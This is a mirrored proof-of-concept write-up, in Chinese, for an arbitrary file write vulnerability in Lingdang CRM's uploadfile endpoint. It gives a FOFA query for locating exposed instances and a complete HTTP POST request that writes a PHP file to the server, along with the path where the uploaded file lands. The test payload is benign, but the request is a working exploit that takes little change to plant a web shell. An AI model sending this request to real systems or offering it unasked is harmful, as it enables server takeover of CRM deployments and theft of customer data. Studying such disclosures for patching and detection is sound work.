mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-08 03:46:17 +00:00
42 lines
1.6 KiB
Markdown
42 lines
1.6 KiB
Markdown
|
# 灵当crm uploadfile存在文件写入漏洞
|
|||
|
|
|
|||
|
|
# 一、漏洞简介
|
|||
|
|
灵当CRM 是一款企业级客户关系管理软件。它旨在帮助企业管理客户信息、销售流程、市场营销活动和客户服务等。灵当crm存在任意文件写入漏洞，攻击者可以通过该漏洞写入恶意文件获取服务器权限。
|
|||
|
|
|
|||
|
|
# 二、影响版本
|
|||
|
|
+ 灵当crm
|
|||
|
|
|
|||
|
|
# 三、资产测绘
|
|||
|
|
+ fofa`body="[http://localhost:8088/crm/index.php"](http://localhost:8088/crm/index.php") && body="ldcrm.base.js"`
|
|||
|
|
+ 特征
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
# 四、漏洞复现
|
|||
|
|
```plain
|
|||
|
|
POST /crm/weixinmp/index.php?userid=123&module=Upload&usid=1&action=uploadfile HTTP/1.1
|
|||
|
|
Host:
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
|
|||
|
|
Accept: */*
|
|||
|
|
Accept-Encoding: gzip, deflate, br
|
|||
|
|
Accept-Ldwk: bG91ZG9uZ3dlbmt1
|
|||
|
|
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
|
|||
|
|
Connection: close
|
|||
|
|
Content-Type: application/x-www-form-urlencoded
|
|||
|
|
Content-Length: 67
|
|||
|
|
|
|||
|
|
file_info={"name":"1.php"}&<?php echo(md5(233));unlink(__FILE__);?>
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
```plain
|
|||
|
|
/crm/storage/2024/August/week1/172299960228103.php
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
> 更新: 2024-10-21 11:49:37
|
|||
|
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/oaxy831ru4asisru>
|